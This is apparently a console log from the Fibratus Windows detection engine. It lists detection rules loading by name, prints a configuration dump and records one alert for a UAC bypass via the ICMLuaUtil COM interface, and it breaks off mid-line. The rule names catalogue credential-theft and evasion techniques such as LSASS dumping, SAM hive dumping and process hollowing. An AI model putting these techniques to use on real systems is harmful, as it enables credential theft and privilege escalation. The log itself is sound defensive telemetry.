source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:29:01+01:00 level=info msg=bootstrapping with pid 3460. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:29:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ max-buffers=>36 stack-enrichment=>true enable-vamap=>true enable-mem=>false enable-fileio=>true enable-handle=>false enable-image=>true buffer-size=>512 flush-interval=>1s enable-registry=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ passive=>false vhost=>/ exchange=>fibratus durable=>false routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient timeout=>5s] http=>[ method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false endpoints=>[]] elasticsearch=>[ flush-period=>1s gzip-compression=>false sniff=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 timeout=>5s trace-log=>false index-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>false scan-timeout=>10s enabled=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:29:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:29:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:29:18+01:00 level=info msg=sending alert: [UAC bypass via ICMLuaUtil COM interface]. Text: Event(s): + Seq: 8956321 + Pid: 8008 + Tid: 17964 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:29:14.5966941 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 468ff7000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f6f92b080, name➜ cmd.exe, pid➜ 7308, ppid➜ 8008, real_ppid➜ 8008, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:29:14.5966002 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via ICMLuaUtil COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 8008 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:29:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:29:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:29:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:30:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from 